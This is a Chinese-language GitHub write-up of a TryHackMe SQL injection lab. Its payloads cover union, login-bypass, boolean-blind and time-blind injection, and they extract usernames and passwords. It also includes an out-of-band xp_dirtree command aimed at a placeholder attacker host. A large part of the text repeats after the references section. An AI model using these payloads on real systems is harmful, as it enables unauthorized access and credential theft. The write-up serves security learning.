mgn26/sql-injection-lab-writeup
GitHub: mgn26/sql-injection-lab-writeup
一份涵盖 Union、布尔盲注、时间盲注等多种类型的 SQL 注入实验实操学习笔记。
Stars: 0 | Forks: 0
# SQL Injection
### Mojalefa Gideon Nkwana
### 22/06/26
### [实验室:TryHackMe](https://tryhackme.com/room/sqlinjectionlm?utm_campaign=social_share&utm_medium=social&utm_content=share-completed-room&utm_source=copy&sharerId=6a32c1d1c9bf8925f6ff81e4)
## 简介
SQL 代表 __结构化查询语言__ (Structured Query Language) —— 一种用于操作基于 SQL 的数据库的语言。
在这种语境下,注入顾名思义,就是插入某些东西的意思。
很久以前,一群技术人员,包括那些怀有恶意的人,发现在身份验证过程中通过提供意外的输入,他们可以获取未经授权的信息。这意味着一个普通人突然间可以做出原本只属于组织总裁的决策或执行相关操作。出于显而易见的原因,这成为了一个重大的安全隐患,所以他们甚至给它起了一个专门的术语:SQL Injection。
SQL Injection 是指将旨在破坏底层 SQL 结构的恶意字符串,作为输入提供给表单或任何输入结构,以代替原本预期的输入。
## 实验前思考
关于这个概念到底是如何运作的,我之前一直没怎么想通。这是因为作为一名开发者,我一直都在使用那些为了规避此类问题而专门开发的框架来进行开发。所以在我脑海里,我一直在想:“这到底为什么能起作用?”。
## 实验操作指南
1. In-Band SQLi
* __In-Band SQLi__ - 当 payload 的结果可以通过用于发送 payload 的同一接口观察到时。
* __Error-based__ - 当错误消息被用来推断接口的底层结构时。
* __Union-based__ - 当构造的 payload 能够向未经授权的平台返回额外数据时。
获取 Martin 的密码
* 我把这种称为 URL 型注入,因为我们是通浏览器的 URL 输入来注入 payload 的。
* 现在为了获取 Martin 的密码,我们首先必须检查是否存在 SQL Injection 漏洞。
* 首先我们在 URL 的最末端加上 (') 字符。哇,看看我们发现了什么!……返回了 "You have an error in your SQL syntax"。
* 现在我们知道后端会很乐意处理我们的 payload。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 在这种情况下,典型的数据获取查询如下。
SELECT * FROM table WHERE id = 1;
* 但这不能帮助我们获取到核心数据。因为它返回的是一个单表,里面可能包含了一堆文章。
* 我们必须使用 `UNION` 关键字,让我们期望的(第二个)表附加到文章(第一个)表上。
* 然而,`UNION` 通常要求我们知道以下信息
1. 第一个表的列数,
2. 第二个表的列名和数据类型,以便将它们与第一个表的列相匹配。
3. 我们所需的实际表的名称。
* 从网页的结构中我们可以看到,第一个表很可能返回了 3 列。但我们不确定,而且也不知道第二个表的列,所以我们使用 SQL 中内置的一个技巧,我称之为 __'literal select'__,基本上我们可以像这样通过选择字面量来返回一个字面量表:`SELECT 1, 2, 3;`
* 我们在输入的末尾加上 `UNION SELECT 1;`,但得到了一个错误,这意味着我们返回的列数可能不正确,无法附加到文章表上。
* 我们再试一次……然后,砰!`UNION SELECT 1, 2, 3;` 就是正确答案!没有返回错误,我们所需的表应该有 3 列。
* 那么表名和它的列名怎么办呢?嗯,`SELECT database()` 会告诉我们当前正在处理的数据库名。
* 在我们的上下文中使用它,我们构造了以下 payload
0 UNION SELECT 1, 2, database(); --
* 返回如下内容
* 这允许我们查询内置的 __'information_schema'__,以获取更精确的数据。
* 我们的接口只输出 1 行 3 列,为了从一行中获取更多信息,我们使用 `group_concat(column)`,它基本上将给定列的所有行连接成一个字符串,并将其放入第一个单元格中。现在给定列的第一行就告诉了我们关于整列的所有信息。
* 综合以上这些,我们得出以下查询,用于从 __information_schema__ 中检索表名。
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'; --
* 既然我们得到了可能包含密码的表列表,单从名字来看,'staff_users' 听起来就像是一座金矿。
* 我们可以使用以下查询来检查所需的列:
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'; --
* 最后,我们现在满足了构造一个应该能成功获取 Martin 密码的 payload 的所有条件。
* payload 如下
0 UNION SELECT 1,2,group_concat(username,':', password SEPARATOR '
') FROM staff_users; --
* 中大奖啦!!!,Martin 的密码是 'pa$$word'。
2. Blind SQLi - 身份验证绕过
* __Blind SQLi__ - 当 payload 的结果给出极少甚至没有反馈时。
* __Authentication Bypass__ - 当我们无需猜测用户名或密码就能通过身份验证步骤时。
* 如果我们试图入侵某个平台,而我们能接触到的只有一个普通的登录表单,除了登录表单之外没有任何其他后端访问权限,该怎么办。
* 我们首先必须检查是否存在 SQL Injection 漏洞。
* 首先我们在用户名输入框中输入 (') 字符,并希望不存在验证机制。
* 嗯,通过进行一些页面检查(在这种情况下是有效的),我们可以看到返回了一个错误。
* 我们知道后端会处理我们的 payload。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE username = '%username%' and password = '%password%'; --
* __username__ 和 __password__ 取自输入。
* 这里的假设是,Web 应用程序只是检查数据库中是否存在有效的用户对象或匹配的行。当注入 `' OR 1=1;--` 时,数据库查询会对所有行评估为真,并返回 **用户表中的第一个账户**(通常是管理员),从而完全绕过凭证验证。
* 因此,以下 payload 应该能达到目的:
' OR 1=1;--
* 然后……成功了!
3. Blind SQLi - 基于布尔值
* __基于布尔值的 Blind SQLi__ - 当 payload 的结果仅给出二进制(真假)反馈时。
* 典型的身份验证系统如下
* 正如我们从上图所看到的,它像往常一样受到了保护。
* 然而,表单中的信息必须以某种方式发送到后端。我们可以通过检查页面来找到表单通信的 endpoint,并根据 endpoint 的结构找到我们的漏洞利用点。
* 在我们的例子中,endpoint 如下:
`https://website.thm/checkuser?username=admin123`
* 所以我们很幸运。在浏览器中设置好 endpoint 后,我们得到以下结果:
* 一个返回 true 或 false 的简单 JSON。至少这算是个反馈。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE username = '%username%'; --
* 首先我们在 URL 的最末端加上 (') 字符。返回了一个错误(在本例中为 false)。
* 现在我们知道后端会很乐意处理我们的 payload。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 同样,`UNION` 通常要求我们知道以下信息:
1. 第一个表的列数,
2. 第二个表的列名和数据类型,以便将它们与第一个表的列相匹配。
3. 我们所需的实际表的名称。
* 我们尝试 `UNION SELECT 1` 直到……砰!`UNION SELECT 1, 2, 3;` 就是正确答案!没有返回错误(或 false),我们所需的表应该有 3 列。
* 为什么 `admin123' UNION SELECT 1, 2, 3;--` 会导致服务器返回 true?这意味着 JSON `{"taken":true}` 取决于查询是否成功执行并返回结果,而不是明确验证用户名是否存在。
* 不管怎样,要获取表名,我们首先至少得弄清楚数据库的名称。
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
* 上面的操作让我们知道存在条件为真的行。
* 当上面的 payload 以暴力破解方式(重复地)应用时,它允许我们通过使用 `LIKE 'a%'` 循环遍历字符,直到反馈 `{"taken":false}` 变为 `{"taken":true}`,从而猜出所选数据库的名称。
* 我们发现数据库名为 `sqli_three`。
* 既然我们已经得到了它,我们就利用我们的老朋友 __'information_schema'__ 来找到所需表的名称。
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'a%';--
* 同样,我们对上面的 payload 进行暴力破解。
* 我们发现表名为 `users`。
* 然后,我们继续使用以下语句猜测我们所需的列:
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'a%';--
* 我们关心的列必须包含 'usernames' 和 'passwords'。
* 嗯,'username' 和 'password' 刚好是有效的列名。
* 我们按如下方式猜出正确的用户名:
admin123' UNION SELECT 1,2,3 FROM users WHERE username LIKE 'a%'; --
* 用户名为 `admin`。
* 最后是最“有趣”的部分,是时候猜测密码了:
admin123' UNION SELECT 1,2,3 FROM users WHERE username = 'admin' AND password LIKE 'a%'; --
* 我们像上面那样进行手动暴力破解,然后砰!admin 的密码是 3845。
* payload 验证:
admin123' UNION SELECT 1,2,3 FROM users WHERE username = 'admin' AND password = 3845; --
* Hello World!。
4. Blind SQLi - 基于时间
* __基于时间的 Blind SQLi__ - 当 payload 的结果可以通过响应到达所花费的时间来观察时。
* 有时,如果 endpoint 太不透明,我们可以观察 API endpoint 的响应时间。
* 在我们的例子中,endpoint 如下:
`https://website.thm/analytics?referrer=tryhackme.com`
* 所以我们很幸运。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE referrer = '%domain%'; --
* 为了使用基于时间的 SQLi 来检查后端是否处理了我们的 SQL payload,我们首先测试一个单列延迟 payload:
admin123' UNION SELECT SLEEP(5); --
* 然而,由于目标查询使用了两列,单列尝试会静默失败或抛出列不匹配错误。添加第二列即可修复这种不匹配:
admin123' UNION SELECT 1, SLEEP(5); --
* 如果服务器确实花费了 5 秒钟来响应,那么我们就知道后端会很乐意处理我们的 payload,并且我们已经确认了这是一个 2 列结构。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 要获取表名,我们首先必须至少弄清楚数据库的名称。
admin123' UNION SELECT 1, SLEEP(5) WHERE database() LIKE '%'; --
* 当上面的 payload 以暴力破解方式(重复地)应用时,它允许我们通过使用 `LIKE 'a%'` 遍历所有字母数字字符,直到响应花费 5 秒钟到达,从而猜出所选数据库的名称。
* 我们发现数据库名为 `sqli_four`。
* 既然我们已经得到了它,我们就利用我们的老朋友 __'information_schema'__ 来找到所需表的名称。
admin123' UNION SELECT 1, SLEEP(5) FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'a%';--
* 同样,我们对上面的 payload 进行暴力破解。
* 我们发现表名为 `users`。
* 然后,我们继续使用以下语句猜测我们所需的列:
admin123' UNION SELECT 1, SLEEP(5) FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table = 'users' AND column_name LIKE 'a%';--
* 我们关心的列必须包含 'usernames' 和 'passwords'。
* 嗯,'username' 和 'password' 刚好是有效的列名。
* 我们按如下方式猜出正确的用户名:
admin123' UNION SELECT 1, SLEEP(5) FROM users WHERE username LIKE 'a%'; --
* 用户名为 `admin`。
* 最后是最“有趣”的部分,是时候猜测密码了:
admin123' UNION SELECT 1, SLEEP(5) FROM users WHERE username = 'admin' AND password LIKE 'a%'; --
* 我们像上面那样进行手动暴力破解,然后砰!admin 的密码是 4961。
* payload 验证:
admin123' UNION SELECT SLEEP(5), 2 FROM users WHERE username = 'admin' AND password = 4961; --
* Hello World!,再次相见。
5. Out-of-Band SQLi
* __Out-of-band SQLi__ - 当 payload 的结果通过不同于发送 payload 所用接口的其他接口或信道进行路由时。
* **概念场景**:当服务器响应既不返回查询结果、错误消息,甚至没有可靠的响应时间变化(使得 In-Band 和 Blind 技术无法实现)时,就会使用 Out-of-Band (OOB) 技术。在这些场景中,攻击者会触发数据库服务器向受攻击者控制的服务器发起外部网络请求——例如 DNS 查询或 HTTP 请求。
* 例如,在 Microsoft SQL Server 中,攻击者可能会通过 `xp_dirtree` 或 SMB 触发外部连接,并将目标数据作为子域前缀附加进去:
'; EXEC master..xp_dirtree '\\attacker-ip\share';--
## 概念强化
* 对于那些习惯以对象的形式将编程结构具象化的人来说:当我最初接触 SQL Injection 时,我很难掌握它,因为几乎没有提到它只在后端将查询构造为拼接输入的字符串时才有效。
* 另一个我很难掌握的概念是这种特定的 Authentication Bypass 实例,因为看看下面的查询:
SELECT * FROM table WHERE username = '%username%' AND password = '%password%'; --
必须存在这样一个假设,即“Web 应用程序不关心用户名和密码的内容,而是更多地关心这两者是否在用户表中构成匹配对”。也许在 90 年代情况确实如此。
我们可以看到,查询在“请求”实际返回数据。这是对查询最基本、最直观的理解,这对许多开发者来说也更容易理解。除非开发者想要耍小聪明。
我认为这个查询作为实际登录条件的可能性很低。所以我的猜测是,通常情况下,查询首先返回数据,然后存储结果,最后再执行条件检查。
## 防御视角与经验教训
根据我作为开发者的大部分经验,我的思维是基于对象的,所以我主要认为数据处于其 __参数化__ 形式。即使我以前从未了解过这个概念,我也会直觉地采用 __面向对象__ 的方式构建查询,从而在很大程度上规避了这种风险。
尽管如此,从黑客的角度接触 Web 开发,让我更加欣赏 __现代 Web 开发框架__。
## 参考资料
### [tryhackme.com, SQL Injection](https://tryhackme.com/room/sqlinjectionlm?utm_campaign=social_share&utm_medium=social&utm_content=share-completed-room&utm_source=copy&sharerId=6a32c1d1c9bf8925f6ff81e4)
* 我们在输入的末尾加上 `UNION SELECT 1;`,但得到了一个错误,这意味着我们返回的列数可能不正确,无法附加到文章表上。
* 我们再试一次……然后,砰!`UNION SELECT 1, 2, 3;` 就是正确答案!没有返回错误,我们所需的表应该有 3 列。
* 那么表名和它的列名怎么办呢?嗯,`SELECT database()` 会告诉我们当前正在处理的数据库名。
* 在我们的上下文中使用它,我们构造了以下 payload
0 UNION SELECT 1, 2, database(); --
* 返回如下内容
* 这允许我们查询内置的 __'information_schema'__,以获取更精确的数据。
* 我们的接口只输出 1 行 3 列,为了从一行中获取更多信息,我们使用 `group_concat(column)`,它基本上将给定列的所有行连接成一个字符串,并将其放入第一个单元格中。现在给定列的第一行就告诉了我们关于整列的所有信息。
* 综合以上这些,我们得出以下查询,用于从 __information_schema__ 中检索表名。
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'; --
* 既然我们得到了可能包含密码的表列表,单从名字来看,'staff_users' 听起来就像是一座金矿。
* 我们可以使用以下查询来检查所需的列:
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'; --
* 最后,我们现在满足了构造一个应该能成功获取 Martin 密码的 payload 的所有条件。
* payload 如下
0 UNION SELECT 1,2,group_concat(username,':', password SEPARATOR '') FROM staff_users; --
* 中大奖啦!!!,Martin 的密码是 'pa$$word'。
2. Blind SQLi - 身份验证绕过
* __Blind SQLi__ - 当 payload 的结果给出极少甚至没有反馈时。
* __Authentication Bypass__ - 当我们无需猜测用户名或密码就能通过身份验证步骤时。
* 如果我们试图入侵某个平台,而我们能接触到的只有一个普通的登录表单,除了登录表单之外没有任何其他后端访问权限,该怎么办。
* 我们首先必须检查是否存在 SQL Injection 漏洞。
* 首先我们在用户名输入框中输入 (') 字符,并希望不存在验证机制。
* 嗯,通过进行一些页面检查(在这种情况下是有效的),我们可以看到返回了一个错误。
* 我们知道后端会处理我们的 payload。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE username = '%username%' and password = '%password%'; --
* __username__ 和 __password__ 取自输入。
* 这里的假设是,Web 应用程序只是检查数据库中是否存在有效的用户对象或匹配的行。当注入 `' OR 1=1;--` 时,数据库查询会对所有行评估为真,并返回 **用户表中的第一个账户**(通常是管理员),从而完全绕过凭证验证。
* 因此,以下 payload 应该能达到目的:
' OR 1=1;--
* 然后……成功了!
3. Blind SQLi - 基于布尔值
* __基于布尔值的 Blind SQLi__ - 当 payload 的结果仅给出二进制(真假)反馈时。
* 典型的身份验证系统如下
* 正如我们从上图所看到的,它像往常一样受到了保护。
* 然而,表单中的信息必须以某种方式发送到后端。我们可以通过检查页面来找到表单通信的 endpoint,并根据 endpoint 的结构找到我们的漏洞利用点。
* 在我们的例子中,endpoint 如下:
`https://website.thm/checkuser?username=admin123`
* 所以我们很幸运。在浏览器中设置好 endpoint 后,我们得到以下结果:
* 一个返回 true 或 false 的简单 JSON。至少这算是个反馈。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE username = '%username%'; --
* 首先我们在 URL 的最末端加上 (') 字符。返回了一个错误(在本例中为 false)。
* 现在我们知道后端会很乐意处理我们的 payload。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 同样,`UNION` 通常要求我们知道以下信息:
1. 第一个表的列数,
2. 第二个表的列名和数据类型,以便将它们与第一个表的列相匹配。
3. 我们所需的实际表的名称。
* 我们尝试 `UNION SELECT 1` 直到……砰!`UNION SELECT 1, 2, 3;` 就是正确答案!没有返回错误(或 false),我们所需的表应该有 3 列。
* 为什么 `admin123' UNION SELECT 1, 2, 3;--` 会导致服务器返回 true?这意味着 JSON `{"taken":true}` 取决于查询是否成功执行并返回结果,而不是明确验证用户名是否存在。
* 不管怎样,要获取表名,我们首先至少得弄清楚数据库的名称。
admin123' UNION SELECT 1,2,3 WHERE database() LIKE '%';--
* 上面的操作让我们知道存在条件为真的行。
* 当上面的 payload 以暴力破解方式(重复地)应用时,它允许我们通过使用 `LIKE 'a%'` 循环遍历字符,直到反馈 `{"taken":false}` 变为 `{"taken":true}`,从而猜出所选数据库的名称。
* 我们发现数据库名为 `sqli_three`。
* 既然我们已经得到了它,我们就利用我们的老朋友 __'information_schema'__ 来找到所需表的名称。
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'a%';--
* 同样,我们对上面的 payload 进行暴力破解。
* 我们发现表名为 `users`。
* 然后,我们继续使用以下语句猜测我们所需的列:
admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sqli_three' AND table_name = 'users' AND column_name LIKE 'a%';--
* 我们关心的列必须包含 'usernames' 和 'passwords'。
* 嗯,'username' 和 'password' 刚好是有效的列名。
* 我们按如下方式猜出正确的用户名:
admin123' UNION SELECT 1,2,3 FROM users WHERE username LIKE 'a%'; --
* 用户名为 `admin`。
* 最后是最“有趣”的部分,是时候猜测密码了:
admin123' UNION SELECT 1,2,3 FROM users WHERE username = 'admin' AND password LIKE 'a%'; --
* 我们像上面那样进行手动暴力破解,然后砰!admin 的密码是 3845。
* payload 验证:
admin123' UNION SELECT 1,2,3 FROM users WHERE username = 'admin' AND password = 3845; --
* Hello World!。
4. Blind SQLi - 基于时间
* __基于时间的 Blind SQLi__ - 当 payload 的结果可以通过响应到达所花费的时间来观察时。
* 有时,如果 endpoint 太不透明,我们可以观察 API endpoint 的响应时间。
* 在我们的例子中,endpoint 如下:
`https://website.thm/analytics?referrer=tryhackme.com`
* 所以我们很幸运。
* 在这种情况下,典型的数据获取查询如下:
SELECT * FROM table WHERE referrer = '%domain%'; --
* 为了使用基于时间的 SQLi 来检查后端是否处理了我们的 SQL payload,我们首先测试一个单列延迟 payload:
admin123' UNION SELECT SLEEP(5); --
* 然而,由于目标查询使用了两列,单列尝试会静默失败或抛出列不匹配错误。添加第二列即可修复这种不匹配:
admin123' UNION SELECT 1, SLEEP(5); --
* 如果服务器确实花费了 5 秒钟来响应,那么我们就知道后端会很乐意处理我们的 payload,并且我们已经确认了这是一个 2 列结构。
* 然后我们必须以某种方式注入一个 payload,来修改典型的查询以执行我们的指令。
* 要获取表名,我们首先必须至少弄清楚数据库的名称。
admin123' UNION SELECT 1, SLEEP(5) WHERE database() LIKE '%'; --
* 当上面的 payload 以暴力破解方式(重复地)应用时,它允许我们通过使用 `LIKE 'a%'` 遍历所有字母数字字符,直到响应花费 5 秒钟到达,从而猜出所选数据库的名称。
* 我们发现数据库名为 `sqli_four`。
* 既然我们已经得到了它,我们就利用我们的老朋友 __'information_schema'__ 来找到所需表的名称。
admin123' UNION SELECT 1, SLEEP(5) FROM information_schema.tables WHERE table_schema = 'sqli_four' AND table_name LIKE 'a%';--
* 同样,我们对上面的 payload 进行暴力破解。
* 我们发现表名为 `users`。
* 然后,我们继续使用以下语句猜测我们所需的列:
admin123' UNION SELECT 1, SLEEP(5) FROM information_schema.columns WHERE table_schema = 'sqli_four' AND table = 'users' AND column_name LIKE 'a%';--
* 我们关心的列必须包含 'usernames' 和 'passwords'。
* 嗯,'username' 和 'password' 刚好是有效的列名。
* 我们按如下方式猜出正确的用户名:
admin123' UNION SELECT 1, SLEEP(5) FROM users WHERE username LIKE 'a%'; --
* 用户名为 `admin`。
* 最后是最“有趣”的部分,是时候猜测密码了:
admin123' UNION SELECT 1, SLEEP(5) FROM users WHERE username = 'admin' AND password LIKE 'a%'; --
* 我们像上面那样进行手动暴力破解,然后砰!admin 的密码是 4961。
* payload 验证:
admin123' UNION SELECT SLEEP(5), 2 FROM users WHERE username = 'admin' AND password = 4961; --
* Hello World!,再次相见。
5. Out-of-Band SQLi
* __Out-of-band SQLi__ - 当 payload 的结果通过不同于发送 payload 所用接口的其他接口或信道进行路由时。
* **概念场景**:当服务器响应既不返回查询结果、错误消息,甚至没有可靠的响应时间变化(使得 In-Band 和 Blind 技术无法实现)时,就会使用 Out-of-Band (OOB) 技术。在这些场景中,攻击者会触发数据库服务器向受攻击者控制的服务器发起外部网络请求——例如 DNS 查询或 HTTP 请求。
* 例如,在 Microsoft SQL Server 中,攻击者可能会通过 `xp_dirtree` 或 SMB 触发外部连接,并将目标数据作为子域前缀附加进去:
'; EXEC master..xp_dirtree '\\attacker-ip\share';--
## 概念强化
* 对于那些习惯以对象的形式将编程结构具象化的人来说:当我最初接触 SQL Injection 时,我很难掌握它,因为几乎没有提到它只在后端将查询构造为拼接输入的字符串时才有效。
* 另一个我很难掌握的概念是这种特定的 Authentication Bypass 实例,因为看看下面的查询:
SELECT * FROM table WHERE username = '%username%' AND password = '%password%'; --
必须存在这样一个假设,即“Web 应用程序不关心用户名和密码的内容,而是更多地关心这两者是否在用户表中构成匹配对”。也许在 90 年代情况确实如此。
我们可以看到,查询在“请求”实际返回数据。这是对查询最基本、最直观的理解,这对许多开发者来说也更容易理解。除非开发者想要耍小聪明。
我认为这个查询作为实际登录条件的可能性很低。所以我的猜测是,通常情况下,查询首先返回数据,然后存储结果,最后再执行条件检查。
## 防御视角与经验教训
根据我作为开发者的大部分经验,我的思维是基于对象的,所以我主要认为数据处于其 __参数化__ 形式。即使我以前从未了解过这个概念,我也会直觉地采用 __面向对象__ 的方式构建查询,从而在很大程度上规避了这种风险。
尽管如此,从黑客的角度接触 Web 开发,让我更加欣赏 __现代 Web 开发框架__。
## 参考资料
### [tryhackme.com, SQL Injection](https://tryhackme.com/room/sqlinjectionlm?utm_campaign=social_share&utm_medium=social&utm_content=share-completed-room&utm_source=copy&sharerId=6a32c1d1c9bf8925f6ff81e4)标签:CISA项目, 多线程, 实验报告, 网络安全, 防御加固, 隐私保护